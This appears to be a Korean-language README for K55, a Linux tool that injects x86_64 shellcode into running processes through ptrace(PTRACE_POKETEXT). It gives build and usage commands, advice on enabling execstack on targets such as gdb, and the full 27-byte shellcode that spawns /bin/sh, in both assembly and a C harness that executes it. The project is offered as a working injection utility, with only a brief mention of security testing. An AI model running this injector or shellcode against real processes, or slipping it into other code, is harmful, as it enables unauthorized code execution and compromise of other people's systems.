
(발음: "케이 피프티 파이브")
K55 페이로드 인젝션 도구는 x86_64 셸코드 페이로드를 실행 중인 프로세스에 주입하는 데 사용됩니다. 이 유틸리티는 최신 C++11 기술과 ptrace()와 같은 전통적인 C 리눅스 함수를 함께 사용하여 개발되었습니다. 대상 프로세스에서 실행되는 셸코드는 27바이트이며, 대상의 주소 공간 내에서 /bin/sh (bash 셸)을 실행합니다. 향후에는 사용자가 명령줄 인수를 통해 자신의 셸코드를 입력할 수 있도록 할 예정입니다.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.sh사용법: ./K55 <프로세스-이름>
r-xp 또는 execstack 권한을 가진 모든 리눅스 프로세스일 수 있습니다. 테스트 1) 한 터미널 (K55/ 디렉터리)에서 다음을 실행합니다: ./k55_example_process/k55_test_process
테스트 2) 다른 터미널에서 인젝터를 실행합니다: sudo ./K55 k55_test_process
당연히, ptrace(PTRACE_POKETEXT...) 호출은 가장 은밀한 방법은 아닙니다. 따라서 일부 애플리케이션은 K55의 효과를 제한할 수 있습니다. 하지만 보안 테스트를 위해 대상 애플리케이션에서 execstack을 활성화해야 합니다. 예를 들어 gdb에서 테스트하는 경우, 인젝션 전에 다음 명령을 실행하십시오: sudo execstack -s /usr/bin/gdb. 배포판의 패키지 관리자에서 execstack을 설치하십시오. Arch Linux 사용자의 경우 AUR에서 execstack을 찾을 수 있습니다.
참고: 다음은 데모입니다. 페이로드 문자열은 이미 K55에 하드코딩되어 있습니다.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// 어셈블리 코드의 셸코드 분해
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
MIT 라이선스
Copyright (c) Josh Schiavone